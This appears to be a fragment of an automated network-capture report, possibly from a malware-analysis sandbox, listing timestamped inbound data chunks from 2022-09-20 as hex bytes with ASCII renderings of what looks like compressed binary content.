4e 51 a2 75 2c fa 35 e6 fe 44 e2 c2 7d 7c 08 e0 63 6c e9 88 7d b7 ab 25 9e b4 e5 e6 21 eb 4f cc f7 b9 be c9 3f 63 ba 41 
8b ed 61 f6 7d 77 72 a6 34 21 0b ef a3 7f 9c d8 3c c4 e2 5a ba ef fa 18 6b cf 60 f1 a8 d1 ff 3c 3a 07 b7 b4 0e 59 5f 0c db 
7b bd 3c bf 58 c7 4e 7b 09 33 5c 65 22 a7 da 16 7a 57 cf 2d 43 61 79 b9 92 d1 1d ac 52 8d 47 2e 60 86 4a f8 21 01 0f ec 
d6 21 eb dd 18 27 48 ce 52 9f 92 49 e7 4b 0f 43 e7 ce 05 
Data Ascii: f:RX.,n;HZ|Wp]7Wpz^unkpy@PnOn0+_'!/As!!s`NQu,5D}|cl}%!O?cAa}wr4!<Zk`<:Y_{<XN{3\e"zW-CayR
G.`J!!'HRIKC

2022-09-20 10:10:08 UTC 3020 IN Data Raw: 52 68 e2 ce 8b 79 22 da 99 f2 9c b8 5c 9e 49 90 73 da 95 b2 d0 3f 60 5c db 88 d6 ec f2 cf 12 c7 8e 76 ab ee f5 
6a fb d4 77 d2 6f ef d7 0e 5b 5f 63 74 76 6e bc c4 32 3e 88 ec 18 77 2b 5a 0d cf a0 60 dc 1b e0 48 cd 7d f7 b0 9b d3 e7 
3c 79 07 85 ce 2e 73 cf 61 3b 8f 93 98 44 fb 4c 17 fe 52 44 3f df 3d 9b f0 70 85 eb 07 23 7c 45 a0 ef a3 32 5b fd 67 8d 9e 
27 a4 52 f3 52 ba 48 3d 07 84 6f 28 b5 93 da a3 cf 47 2f f4 7f 0a 0d fb 14 31 67 fd 44 bb 2d dd 7e 61 18 eb 66 46 0a 5c 29 
73 ac e3 6c 8e 7c ff b0 75 6b f0 fe ef c8 88 6d e5 2c 78 95 8e 5e 0c 71 27 c5 3d 87 ad cb cd f3 53 20 b9 b9 e7 e7 0a 27 
47 2d 62 76 db 7e 78 d8 f5 f9 31 f7 d2 35 4c 12 6f f0 f0 7e f8 0f 52 bd 1b 83 c7 a0 3e 76 26 8f 47 83 7e 02 e3 73 f1 8f 0e 
5b 4d f3 e8 a7 f0 69 a5 f2 35 7b 0f 07 e2 d6 
Data Ascii: Rhy"\Is?`\vjwo[_ctvn2>w+Z`H}<y.sa;DLRD?=p#|E2[g'RRH=o(G/1gD-~afF\)sl|ukm,x^q'=S 'G-bv~x1
5Lo~R>v&G~s[Mi5{

2022-09-20 10:10:08 UTC 3028 IN Data Raw: 79 3b f4 fe f4 eb ce 91 1f 7b a9 ec 17 00 d0 8e ab ec e7 16 85 f2 2f a7 ce d2 15 63 36 6e af 7d 9d 9f 97 8f 4b 4f 
c5 98 e6 db 21 e4 6d ac 5f a2 7f 2a 6c 4f 7f d4 bf 20 d0 26 f0 11 4a 57 8e 69 7e 33 c2 8f 8c 7e 75 44 57 7d 1d b0 3f 1a 0d 
1a 74 6b 2d 06 0d f2 57 bb 41 c3 39 b6 cd a0 c1 fe b9 c3 a0 45 e8 5b bb 0c da 62 f8 43 19 34 e0 4d ee 35 68 f0 71 d9 4f 
34 55 9f 07 f9 6b 9f 41 c3 d9 da 6b d0 5a 65 7b 2a 0d 79 26 7a 0c 1a e2 99 f7 28 b4 74 be af f8 3e c7 6f d6 c3 34 88 7e 
44 dd 67 f1 88 7d af 9e 5b 39 a6 f8 3f a3 d8 16 57 40 47 19 c8 d2 bb 56 8d 59 87 dd 32 d8 b2 1b a5 53 a6 1d e7 05 5d 68 
4b e5 98 2f 97 1a f8 d1 36 a2 27 d4 ba d7 d8 ad 43 d7 82 fd bd 93 9e bf 35 20 2e e2 98 df 77 ef 12 1f ce 90 e3 ed e3 c4 
08 d1 ce 45 db d0 b5 37 af 1e b3 6e 63 db 4e 8a 
Data Ascii: y;{/c6n}KO!m_*lO &JWi~3~uDW}?tk-WA9E[bC4M5hqO4UkAkZe{*y&z(t>o4~Dg}[9?W@GVY2S]hK/6'C5 .wE
7ncN

2022-09-20 10:10:08 UTC 3036 IN Data Raw: fe 88 38 d1 45 44 ff 9c ba 3e 37 bb 7a 50 81 0f 0d 9d e1 56 2a f3 25 45 af 90 88 ad ca 50 75 08 78 07 64 ca 48 
af d4 4f 5e 9e 93 bb 4a fa 97 41 67 98 47 f4 57 c8 f5 26 63 83 80 58 03 c3 95 a6 a4 44 9f 20 53 66 ed 1b d7 b0 59 e2 4a 
9f 50 06 3a a2 52 2a f3 49 94 59 e7 f0 ec f5 b2 50 79 36 d6 08 74 44 dd 54 e6 cd fc f9 78 a7 5f 8c bf d1 17 02 22 7c 5f a9 
9d 1d 8f 8f 5b af 91 eb 08 6d c3 97 a3 8b 68 8f 44 d8 b6 fd 3e 94 4d 44 59 a1 eb f0 c0 7b 73 e9 1c 5d f4 c4 b8 9b 37 5e 
e8 6c 9a 73 0a e9 ff cf 75 b5 64 21 fb a6 41 ee 9b 1d d4 46 8f 79 f7 89 c3 42 a1 84 4f e9 b6 81 73 14 91 6f 45 76 f4 29 e5 
cf 55 50 cc b9 7f 95 4b 1d aa ff fd 39 f1 bb 62 77 47 85 6e 07 0f 5f fb 4f 37 2e 39 19 b1 cf e4 de 27 55 bf 5c 11 6b 56 e2 
62 b8 8a 98 f2 61 de 71 2d e2 e9 56 77 fe 82 
Data Ascii: 8ED>7zPV*%EPuxdHO^JAgGW&cXD SfYJP:R*IYPy6tDTx_"|_[mhD>MDY{s]7^lsud!AFyBOsoEv)U
PK9bwGn_O7.9'U\kVbaq-Vw

2022-09-20 10:10:08 UTC 3044 IN Data Raw: 00 c1 f9 0e 5e 5d fa 67 cf 0e 68 de 55 6f 31 74 07 2b b3 91 7c cc d0 b1 6e d4 09 90 95 20 fb 2d 3a 34 69 5d 
a3 bc 1b a1 45 d2 04 70 ad 97 85 d6 be d3 e0 3c af 3a 24 65 72 5b 25 2c 40 ea 1d ac c0 ee 43 32 4e c7 95 e3 bc 1c b5 
95 8a 1c c7 8d 5b ad 1c b7 43 d4 c6 ab 74 1d 49 89 fa 9d cb b4 8f 2a 33 be bc 24 7b 33 63 f3 83 2c 83 3e 77 fe 65 d2 5a 
ab e3 4a 96 68 76 a3 db 78 bd 05 e6 00 b6 d8 ee 01 9f 2d d6 b3 db 20 bf 5e 3b 7b 05 5b 13 a4 bf 72 62 0d 5b 53 9e 5f 98 
fc e6 32 e7 9b ef f1 85 bb 6d f2 f9 9b 24 23 76 ac 61 ee e0 a4 35 12 94 37 03 b6 d4 d8 bd 9c 9f 8f 87 bf 05 f9 7a 94 64 e1 
85 01 6d 84 61 a6 47 6c fd 03 ce b8 fe bf 4d 5a bb 59 7b 40 52 58 d2 b5 49 5c 6e fb 56 21 5e ba fa 1f b4 0f 82 fb df 99 11 
bb 8c f3 15 72 ed 62 b0 ed ec fc ef a4 55 13 a4 73 11 
Data Ascii: ^]ghUo1t+|n -:4i]Ep<:$er[%,@C2N[CtI*3${3c,>weZJhvx- ^;{[rb[S_2m$#va57zdmaGlMZY{@RXI\nV!^rbUs

2022-09-20 10:10:08 UTC 3051 IN Data Raw: d6 53 a0 0c 62 99 f3 af 98 71 ed 24 76 99 0f bb fc 10 f3 b2 9b ca 6c a5 32 eb e4 38 df b1 d0 16 f6 f1 0c 39 ea 
0e 5c c1 af 89 11 f4 ff 4a ff 1a 75 f8 e7 16 3c 0b d1 f5 b1 d8 ad a5 36 ee 05 f8 e7 be ab 66 5c ec 5b ef 9e a4 63 79 0a 1b 
28 95 cd 6b 9c d1 6c 9d 42 b6 25 7a a2 51 5f 97 c8 c3 ba 94 68 6a cc 26 70 c4 0b 0c 1a 70 80 96 34 ea 32 de 41 d9 9e 
5a ee a8 d1 1e ee a9 73 b2 bd 71 5f df a1 42 53 40 d3 57 69 9f 22 da 2b 02 5e 78 a3 b7 26 40 ab 02 5e b8 42 83 cc 52 4f 
b4 59 a2 fd 4a be c3 3c 2f af f1 9d 97 25 06 8e 6a 79 f6 4d 86 d4 26 d6 3f f0 cf af 9e b1 de 63 f6 3d de a4 c5 54 a7 93 8f 
1b a9 0d 15 07 1d f2 71 0b d1 5e 24 69 8e 7c dc 4c 34 89 07 97 7b a1 e4 e1 38 4b 5a 89 fe b0 b2 66 93 2d 1e d0 93 63 
b3 c8 bc 46 9f 0b 61 53 bf 46 9f 6f f8 dd cc 5d ad cf 
Data Ascii: Sbq$vl289\Ju<6f\[cy(klB%zQ_hj&pp42AZsq_BS@Wi"+^x&@^BROYJ</%jyM&?c=Tq^$i|L4{8KZf-cFaSFo]

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3059 IN Data Raw: b8 bc ce 0f 76 04 be bf c3 cf 27 7f 77 f8 b9 df df b6 13 71 f8 bd c9 9b b7 8b 9a f2 b5 d1 74 98 d4 0e 7f 3b 8a f5 
84 d3 9b d2 53 4f cf 4b 37 d8 53 4f cf 4b b7 b0 a7 9e 9e ef bc 07 dc dc 00 6e 25 b8 c1 00 6e 2d b8 99 01 dc 46 70 89 00 
ae 00 6e 5a 00 b7 1d dc d4 00 6e 37 b8 29 01 dc 7e 70 f1 00 2e 2a 1d 8c 00 ee 68 f9 da 0c e0 a6 82 3b 3a 80 9b ab 76 
bb c3 2f 5b 4a 49 86 00 ee df bd 75 7e b1 f9 7c 79 75 af 3f 3f fa 66 39 27 3f 47 7a e3 9f d3 fc 66 05 e7 bd f7 5e 36 fd 0b ae
e7 c7 39 fc a2 3b 86 42 f7 48 a8 1f 4d da 11 3e 03 95 ce b1 ea db b5 7d 75 cf 93 f4 fd dc 33 f4 98 55 3f 4f 52 7b 70 fd 8d 
d7 db fc 97 5c d5 ba fa bd 95 c0 2e 68 dc bb 06 97 7b ee 53 d5 ba 7b f0 b1 a1 c6 1d 9b f5 f8 33 dd eb ac ec f8 3a 4f 5a fa 
58 53 d7 e4 b6 c8 a2 46 bd 49 7f 67 d5 63 
Data Ascii: v'wqt;SOK7SOKn%n-FpnZn7)~p.*h;:v/[JIu~|yu??f9'?Gzf^69;BHM>}u3U?OR{p\.h{S{3:OZXSFIgc

2022-09-20 10:10:08 UTC 3067 IN Data Raw: 97 b8 ee 7d f2 ee 59 c5 02 70 4d 5f 8b b3 fc fb 1d d9 10 47 f6 19 15 b4 54 6f 9a 63 17 bf a5 5a fb a4 93 1f 8f 
6e cd 2c bf e6 e7 f0 eb 83 c2 5b c2 eb c4 2d 6f 09 af 13 37 83 bb ba f5 fa 26 65 be da 72 66 af f6 e7 5a 27 ee 7e 6b b5 36 
d1 bf 4e ec f7 ad 8f ba cd be 29 75 d1 89 c1 16 bc 85 04 a4 3e 8f 56 d5 ff 8e ab 1a ef 3c 91 3a 46 f0 8e 90 d9 ce 7e 6e b2 
f6 df c7 87 d7 eb ba bf 6f d5 f1 e1 f5 ba 74 cf 72 c7 87 d7 a9 d2 05 db 70 7c 78 5d ab b3 83 bc 81 bf ce 0e b6 19 f8 eb ec 
a0 64 e0 af b3 83 dd 01 fe 1a 1b 74 76 50 06 7f bf 71 6c 88 87 6d 43 df 1f 76 c9 18 70 17 64 cb 1c a5 1b be e0 84 6a e3 
0e 62 a3 7c c5 74 6f d1 80 d1 3d c0 29 a4 12 42 6a 1d ad b3 83 22 e9 5c df 3a 9d c4 d5 c6 5e 61 60 e8 b4 5d e9 5c ec 87 
e7 f7 5b f1 54 83 b8 c2 78 e0 6f d7 69 82 f8 
Data Ascii: }YpM_GTocZn,[-o7&erfZ'~k6N)u>V<:F~notrp|x]dtvPqlmCvpdjb|to=)Bj"\:^a`]\[Txoi

2022-09-20 10:10:08 UTC 3075 IN Data Raw: b8 f8 73 8c a9 7f 23 3e 61 02 88 f1 9c 04 52 3c 67 f4 4c 98 06 0a 3c 5b 40 86 e7 b8 de 03 39 9e b3 84 59 f1 00 
8a 3c 47 81 82 78 11 a6 81 12 cf 39 c2 22 21 9b 43 2b 0a c4 81 18 90 4f 48 56 dd 65 15 5f 06 bf 8f f7 40 0c 88 03 25 70 
65 20 c1 73 06 48 03 59 20 07 24 81 14 90 07 ca a2 55 dc 57 e0 01 14 78 2e 02 89 ff 01 1d 90 06 52 40 fe 30 fa 8e e0 f5 
7c b3 23 f9 4e 84 51 c2 32 61 f1 78 be 39 90 06 f2 40 06 28 00 39 20 0b 94 81 38 90 00 52 40 52 f4 c4 2b 9d 0e 7e 0a 21 
df 3b c6 fc 95 63 ee cf 9f 48 5c a0 04 14 05 8c 3f a9 af c3 f3 9b c4 bb 87 34 81 ec 34 7e 03 09 20 09 a4 81 14 10 7b 37 fc 
80 d2 0c d2 bc 0b 3e f0 2b 41 9f 3e 19 7a 20 07 64 81 14 f8 ec 77 f9 0d e4 81 12 10 d5 7c 03 c4 81 04 50 06 57 00 8a 40 
92 df 29 a0 74 ee e1 56 fe 54 f0 40 19 28 01 45 c0 
Data Ascii: s#>aR<gL<[@9Y<Gx9"!C+OHVe_@%pe sHY $UWx.R@0|#NQ2ax9@(9 8R@R+~!;cH\?44~ {7>+A>z 
dw|PW@)tVT@(E

2022-09-20 10:10:08 UTC 3083 IN Data Raw: 83 1b e1 21 18 82 4f e0 0f 48 ad a2 fe b0 13 cc 86 7d e0 20 38 06 2e 86 01 78 0c 5e 83 2f e1 1f 58 e3 6f ce 65 
61 77 a8 81 7d 20 0b 32 f4 c2 99 70 19 dc 04 8f c1 2b f0 21 8c c0 1f 10 fe 87 7e 02 45 b0 35 4c 86 a9 50 07 ad 70 30 9c 
00 97 c0 35 b0 02 1e 82 95 f0 26 7c 05 3f c1 df 10 f8 97 f2 c0 e6 50 0c 7b 40 35 d4 43 07 1c 01 7d 70 29 dc 0c f7 c3 73 f0 
2e 7c 0e bf 40 50 1a 27 8d 82 ff 41 31 94 c2 5e 90 81 a5 70 12 5c 06 77 c3 33 30 0c bf 42 c4 33 4e da 00 c6 43 29 ec 07 
39 38 0c 4e 86 f3 e1 1a 78 10 5e 83 2f 61 15 8c f1 8e 93 b6 86 32 a8 83 36 38 1a 2e 82 5b e1 69 f8 14 56 41 ca 37 4e da 
0e f6 82 56 38 06 ae 80 3b e1 51 78 0f 7e 81 b8 9f 34 61 16 34 c0 72 e8 83 2b e1 7e 78 19 be 02 4f 60 9c b4 19 4c 86 4a 
68 85 c3 e1 3c b8 05 56 c2 5b f0 1b 24 83 e3 a4 2d 
Data Ascii: !OH} 8.x^/Xoeaw} 2p+!~E5LPp05&|?P{@5C}p)s.|@P'A1^p\w30B3NC)98Nx^/a268.[iVA7NV8;Qx~4a4r+~
xO`LJh<V[$-

2022-09-20 10:10:08 UTC 3091 IN Data Raw: db fa b7 f3 6f ef 2f f6 8f f7 97 f8 27 f8 27 fa 27 f9 27 fb 77 f0 ef e8 df c9 bf b3 7f 17 ff ae fe dd fc bb fb f7 f0 97 fa 
cb fc 53 fc e5 fe a9 fe 0a ff 34 ff 74 ff 0c 7f a5 7f 4f ff 4c ff 2c ff 6c 7f 95 7f 8e bf da bf 97 bf c6 5f eb af f3 cf f5 cf f3 ef ed 9f 
ef 5f e0 df c7 bf af 7f 3f ff fe fe 03 fc f5 fe 06 7f a3 7f a1 bf c9 df ec cf f8 5b fc ad fe 45 fe ac ff 40 ff 62 7f 9b bf dd df e1 ef f4 
e7 fc 07 f9 bb fc b2 bf db df e3 5f e2 5f ea 5f e6 5f ee 3f d8 7f 88 ff 50 ff 61 fe c3 fd 47 f8 7b fd 47 fa 8f f2 1f ed 3f c6 7f ac ff 
38 ff f1 fe 13 fc 27 fa 4f f2 9f ec 3f c5 7f aa ff 34 ff e9 fe 3e ff 19 fe 33 fd 67 f9 cf f6 9f e3 3f d7 7f 9e ff 7c ff 05 fe 0b fd 17 f9 
2f f6 5f e2 bf d4 7f 99 bf df 7f b9 ff 0a ff 95 fe ab fc 57 fb af f1 5f eb bf ce 7f bd ff 06 
Data Ascii: o/''''wS4tOL,l__?[E@b____?PaG{G?8'O?4>3g?|/_W_

2022-09-20 10:10:08 UTC 3098 IN Data Raw: 17 b4 36 97 64 39 83 ea 34 3d fa 54 d9 cc a9 b5 ac 25 6d 4c fe ea f0 22 7e 07 a9 b6 38 b4 25 13 74 81 5e b9 
f0 c0 4c 93 16 3b 5b d2 6c 66 21 3c 7a 16 e2 28 2b f2 b4 fb 2c 61 75 c5 1e c1 52 30 55 e8 b1 9a 99 ed ed 49 8a e9 df d8 
33 ba 42 31 ec 82 b1 3b 14 c1 11 c1 1e da 5e 1f 5d b1 95 b1 83 03 81 23 96 3d 03 31 3a ad 5e 73 37 2a 7e 39 db da e1 
f0 d6 37 75 2f b3 48 ea 00 b7 08 4b 32 5d d9 16 ed 20 de be 50 9b 20 cd e3 ba 21 75 98 9a ba 93 48 5d 9f 92 99 e9 65 
ab 93 a6 d5 67 c9 5c 0f 07 d2 ce 26 d3 63 dd c3 66 71 c9 a4 c4 3c 32 76 37 b6 96 18 a7 e7 c2 83 59 f5 18 a5 b5 5d 4b b1 
5c 47 b1 5e 43 59 50 55 5e bf 77 19 67 fd 62 99 a5 ad 68 9a 9d ba 96 84 4d 53 56 7d 6d 6d 84 96 dd 4c 4d 8b 44 26 cd 8
5 cc f9 79 b8 14 47 4c 27 4b 1b b3 96 d0 0b db 3a 19 69 b9 c6 1e 
Data Ascii: 6d94=T%mL"~8%t^L;[lf!<z(+,auR0UI3B1;^]#=1:^s7*~97u/HK2] P !uH]eg\&cfq<2v7Y]K\G^CYPU^wgbh
MSV}mmLMD&yGL'K:i

2022-09-20 10:10:08 UTC 3106 IN Data Raw: 75 33 52 6d a6 b1 cd bc 90 20 7c c6 55 03 fb b5 55 e7 05 52 f5 34 ac d5 78 d8 5a 93 2c b7 05 84 b7 d9 bc 2c 
dc 98 91 95 0f 66 36 2d 6c 72 fa 95 95 9a f8 7e d3 f8 82 16 f1 b5 14 9b ad a9 dd ee 6f 59 38 3e 4f 28 d9 d1 29 39 04 6d 5f 
e9 fe 8c 76 32 ac fb 5b 1d 99 74 3a ec 9d 2d 76 bf f2 6d 50 a7 a0 7c 1c d4 2a 2e d3 fa b7 e2 df a9 c4 de 20 c2 6f cd 55 f8 
6d 55 d3 04 6b d5 54 c9 21 58 ab 86 df 56 35 fc ad 8e 4c 3a 1d 76 5b d5 f0 db ab a6 09 b6 aa b1 87 6c 55 d1 fc 2e fb d6 
69 b1 ee 5b c5 66 29 9b e2 b7 36 80 2e 58 1a 40 93 1c 82 a5 01 84 df da 00 c2 df ea c8 a4 d3 61 b7 36 80 f0 db 1a 40 17 
f2 1a c0 d8 b7 5d d9 46 7b 6f 37 04 3d 5f 43 30 6a 67 55 f4 ea 59 34 a7 a2 57 50 17 8c 1a ea 42 ab 33 2b a3 4e 8a 60 ed 
7a 86 60 8b 62 eb 7c 56 c5 56 3a 5b f7 33 14 5b e9 
Data Ascii: u3Rm |UUR4xZ,,f6-lr~oY8>O()9m_v2[t:-vmP|*. oUmUkT!XV5L:v[lU.i[f)6.X@a6@]F{o7=_C0jgUY4WPB
3+N`z`b|VV:[3[

2022-09-20 10:10:08 UTC 3114 IN Data Raw: 95 9d ec 2c a9 f9 b0 6c c1 38 da 95 9f fc 56 74 86 28 d4 a4 ce 70 85 db d7 19 d2 ad b1 ed cf f2 ba 5a 94 df 15 
ea ce b4 bb 5b e5 45 3d dd e2 43 c7 f9 56 67 df 31 1e 13 75 6f 36 b9 60 b3 c9 ff d9 6c f2 ff b3 d9 e4 ff 77 b3 c9 ff 8f 66 93 
0b 36 9b bc da 66 93 0b 35 9b b3 c5 e4 d5 74 6b 7b 02 ca a9 4f 45 55 5d cd 02 b7 e9 cd d5 6a cc 6f ae 56 63 35 6a b1 1a 
d3 9f 45 33 f7 98 45 b4 4f 72 0e 83 75 ca b1 98 b2 f9 92 d1 1c 16 4d ce e4 87 93 0b 65 e7 9c e1 f4 9f e1 52 1f 9f 73 d3 f2 
9b cd 66 b2 b7 99 cd 64 6f 30 63 81 a7 7d 4b 56 5d e1 39 72 b5 2e eb 8c 9f f5 34 7d 6a d2 96 45 8c f9 41 4b d3 ab ae fd 
f5 d5 8b 2e e5 65 a5 8e f0 e6 cc b2 fc 0a da 4c f6 0a 2a 37 3c 9c cb b2 3c 8b 3d 8e 71 62 68 7a eb 3b db 9a 2d 92 6d 4f 
db f7 71 67 47 a6 4d 3c 98 62 2a 96 81 6c fa 
Data Ascii: ,l8Vt(pZ[E=CVg1uo6`lwf6f5tk{OEU]joVc5jE3EOruMeRsfdo0c}KV]9r.4}jEAK.eL*7<<=qbhz;-mOqgGM<b*l

2022-09-20 10:10:08 UTC 3122 IN Data Raw: 9c 55 aa 95 66 ea 20 75 8b fa 81 7a 43 1d 0b 34 f9 41 73 d3 9b e8 81 fa 50 7d 3c 62 69 8d be 55 3f a8 8f 36 
e6 1b 4f 18 2f 1a 87 8c fa 66 27 53 33 97 9a 1b cc 3d e6 bb e6 19 f3 07 33 c0 6a 6f 8d b1 66 5b eb ad 22 c4 5c 1f 7b 30 
70 e2 1d bb ca f6 75 7a 39 43 9c bb 9d 45 ce 46 e7 88 73 c5 61 82 dc a8 76 6c cd 9a ec 5c 36 95 5b 04 e4 0d e6 07 f0 7b 
a5 c3 92 29 0f 90 b3 d5 21 40 b7 1e fa 24 fd 79 bd 4a 0f 31 be 37 0c 73 ad 59 65 4e b6 8e e2 5e 17 21 96 97 38 17 49 1b 
b2 6e e0 5c f2 37 95 2d 65 cf b2 8d 90 2f 59 dc 2b 60 aa 41 fc e3 c0 f0 af f8 b6 82 2c dc 2d cc 13 72 84 83 40 e8 26 e2 78 
31 11 51 10 0a 54 de 88 bc 69 2f 3b ca 2e e4 cb 34 f5 7b b5 a7 e6 ad 4f d1 cf 19 7d f0 2d 07 ad 2f ad 6e 76 84 bd ce fe d0 
fe c9 c6 f9 c3 5c df b3 5b 0c 96 16 49 4f 4a ef 48 
Data Ascii: Uf uzC4AsP}<biU?6O/f'S3=3jof["\{0puz9CEFsavl\6[{)!@$yJ17sYeN^!8In\7-e/Y+`A,-r@&x1QTi/;.4{O}-/nv\[IOJH

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3130 IN Data Raw: 64 76 33 65 b3 97 19 49 02 e3 4c 5d 5a 6b 1a a3 57 ea 9e 88 f3 bb 91 63 33 c9 38 5f b5 ab dd 76 c0 7f ea 7c 
1e df 57 48 10 5f 93 78 e8 95 69 9a 4e 3c 0f 53 8f 1e 1f c7 a5 f1 6f f0 f7 08 8b 85 fb a4 cf a4 fa c8 dd 1f ec 39 c4 25 fa d5 
a3 b1 d3 56 d8 27 8c a1 98 e6 7a 4e ae a9 ad 59 69 32 6c 3d 9a c3 9b a0 0b be 95 7f 94 6f ca de 4a 23 a5 85 d2 4e e9 
a2 f4 54 14 c5 41 7e 0c 05 5f a6 29 65 76 3d 67 3b 74 4d 3d da f7 17 b9 50 fe 29 7e b0 b4 4a d2 a0 e1 67 2a 2f 93 6b 89 
aa 47 63 25 94 0d e5 da f2 33 f9 57 c9 7d c5 bb ce 9f cd aa 5c a6 90 20 b9 29 f7 2a 67 15 3f 75 91 ba 47 fd 5a ad af b5 d6 
0e ea 37 74 db 38 6f 2a d6 6c 72 bf c9 f5 28 87 4c e7 ba 4a d7 95 70 35 53 2d 52 d3 35 5f 64 c2 38 7d 95 be 45 ff 54 f7 
37 64 63 05 ad fe aa d6 2a ab 97 3d d2 4e b5 f7 e0 
Data Ascii: dv3eIL]ZkWc38_v|WH_xiN<So9%V'zNYi2l=oJ#NTA~_)ev=g;tM=P)~Jg*/kGc%3W}\ )*g?uGZ7t8o*lr(LJp5S-
R5_d8}ET7dc*=N

2022-09-20 10:10:08 UTC 3137 IN Data Raw: a1 f5 7a c8 09 f2 26 a8 ea 6b f2 72 65 03 7a b2 a1 9a a0 5e 52 3d b5 70 2d 9d ae 06 48 d2 0b f4 0a 3d d6 98 
6f 3c 66 7c 60 94 da 3f da 7e 4e a8 13 41 6b 8d 4d 69 ed 6a 30 3b 9d 2d 60 2b d9 87 b9 6d 5c 15 a7 f3 1e d0 58 7b c5 85 
ca 23 ca 56 a5 2e 5c a7 aa 7e a8 36 d1 3a 68 93 b5 07 b5 7e 60 d4 ed 7a 13 a3 83 f1 96 f9 85 59 61 c5 da 8f 03 ed 7f 74 
98 33 ae 38 08 60 67 b2 d9 70 3c e1 dc 06 2e 8c 2f e3 83 e0 65 3c c4 b1 74 25 86 af 34 49 0a c6 d9 22 71 85 eb d5 d6 50 
41 8f 69 8b e9 9c f2 13 68 63 1f 33 c7 3c 0e 07 9d 85 b6 ad b2 98 ea a6 74 de 63 31 1b 88 6b 8a e2 f7 f1 fe 42 86 70 52 
98 0c 9d 30 5b da 24 9d 90 fb ab 13 a1 fd 0f 20 66 3f d3 be fb 1d eb 93 1d 5c ae 18 ad 4d c3 9c 66 ae 34 f7 21 7a eb d3 
99 d9 cb ac 6d 40 c6 6b 56 67 7b 10 18 7e e3 1f cd 45 83 
Data Ascii: z&krez^R=p-H=o<f|`?~NAkMij0;-`+m\X{#V.\~6:h~`zYat38`gp<./e<t%4I"qPAihc3<tc1kBpR0[$ f?\Mf
4!zm@kVg{~E

2022-09-20 10:10:08 UTC 3145 IN Data Raw: fb b2 7e 54 0f 36 1c e3 6e e8 1b f2 3b 67 e4 ba 88 0a ab 63 b1 d6 38 eb 51 2b 16 9e 8b ac 24 84 76 3d d3 8a 
ae e9 6f 02 e7 72 88 1d 02 95 f8 28 b7 93 3b ca 55 73 7e b8 9e 58 7e 29 9f 87 d6 68 24 a4 0a 8f 08 db c1 1d 55 42 43 28 
86 58 71 9b f8 1a 94 a2 23 8d 83 07 c8 81 2b 3e 27 f9 ca bd e4 61 70 00 b3 e5 75 4a 9e 52 02 67 d3 50 9d ab 2e a2 33 
17 4f c0 71 f5 d4 0c 6d 34 fc e1 74 ed 39 a8 a7 3c b3 a7 6b df cf ea 56 94 67 fd a1 54 db de 9a c5 f6 fb 9e 20 bf ae 76 58 
b8 20 8c 10 0f 88 5f 8b 91 d2 2c 69 89 24 02 09 1f 30 77 d3 11 e0 86 56 7b a8 e1 1c 4b b2 47 d9 b3 81 33 8d e1 8b 7a 02 
fb ef 75 b6 50 fe 6a 5d b3 a7 f0 10 76 3a bb 9c dd c7 56 b1 6d b8 ef f8 e6 42 77 b4 f2 21 e8 f2 ce e2 60 dc d3 34 f1 91 5b 
78 53 28 7f 28 9f 93 2f cb 22 fc cb 51 85 fc 26 c2 71 
Data Ascii: ~T6n;gc8Q+$v=or(;Us~X~)h$UBC(Xq#+>'apuJRgP.3Oqm4t9<kVgT vX _,i$0wV{KG3zuPj]v:VmBw!`4[xS(
(/"Q&q

2022-09-20 10:10:08 UTC 3153 IN Data Raw: e9 6c 9c 4a 5a bf 67 68 e5 3e 80 d6 ec 59 3a eb 26 82 56 91 e3 a9 77 49 a3 ae 65 35 f5 2b f9 d4 a9 94 50 8f 
72 92 ba 93 6a ea 4b 7c a8 23 09 a2 5e 44 a5 2e 24 8a fa 0f d7 ba aa 0c ea 39 d6 51 b7 51 48 7d 46 29 75 18 67 a8 b7 
b8 4a 5d 85 1f 45 d6 10 8a a9 61 14 4d 63 a8 bf 4e a6 de 62 39 9d b9 9e 4b dd 75 11 75 d7 e5 74 a5 55 25 ad c5 32 b4 
0a 1b 40 3d b6 ab f6 1a 51 b3 e6 8a e8 a8 34 aa a0 56 53 ed e4 5a 7b e5 5a 79 e5 5a 77 e5 5a 75 e5 43 75 73 10 55 cc 
2a d5 ca 51 54 25 27 52 7d 9c 41 95 f1 ba 9a 75 57 44 0d bb d6 5d b9 56 5d b9 d6 5c b9 56 5c b9 d6 5b 85 51 9d 15 43 
6b b9 c9 74 56 f1 72 3a 3b 27 97 ce 24 2e a2 b5 dd 72 aa 95 2b e9 f8 23 43 95 57 00 1d 73 64 e9 68 63 04 75 eb f1 74 be 
43 1a 65 82 d5 74 46 4e 3e 9d 8b 53 42 47 d6 4f 52 9e ad a6 0c eb 53 
Data Ascii: lJZgh>Y:&VwIe5+PrjK|#^D.$9QQH}F)ugJ]EaMcNb9KuutU%2@=Q4VSZ{ZyZwZuCusU*QT%'R}AuWD]V]\V\
[QCktVr:;'$.r+#CWsdhcutCetFN>SBGORS

2022-09-20 10:10:08 UTC 3161 IN Data Raw: 53 69 49 ce 5f a7 66 06 81 9b 1b 3d 6d 9d 9a c1 7c af c7 6a 9e ff d1 b0 a5 d7 b8 c0 56 3d 89 0f 6c 40 2a 03 9e 
12 fe ef 33 90 cc 30 21 e2 bc 2e 59 27 43 1f 21 44 7f fd f0 ff c7 cc d3 46 c7 51 1c d9 bd 9a d9 9d d5 ee 4a 3b d2 4a da 91 
56 5e d9 2b 7f 7f 20 7f 80 31 36 c4 46 f2 87 0e c9 52 24 39 89 6d c8 b2 96 c6 d6 a2 fd 10 bb 92 6c 73 07 21 1c c7 97 31 
b6 01 c3 f3 01 79 84 77 49 08 18 30 10 be b9 e0 c3 60 70 70 88 03 71 2e f7 48 ee 4c 0e 1c 1f 90 83 00 06 de 05 c8 55 55 
f7 ec ce 4a 6b f3 9e df e3 3d ff 98 dd ee aa ee ea ea 9a 9e ea ea aa 9a 69 69 ed a2 a7 79 35 dc 9a a0 7a 49 28 80 7e 42 
0f f9 50 65 c6 4b c7 fa ae d8 46 8a 08 ab 03 21 1f 52 61 9e a5 a9 be b1 d8 84 c0 2a 9e 1c aa 35 d5 67 6e 62 6a 52 20 b4 
3c a2 39 96 48 9c 1f eb 1d c8 32 35 25 90 5e 4f 37 
Data Ascii: SiI_f=m|jV=l@*30!.Y'C!DFQJ;JV^+ 16FR$9mls!1ywI0`ppq.HLUUJk=iiy5zI(~BPeKF!Ra*5gnbjR <9H25%^O7

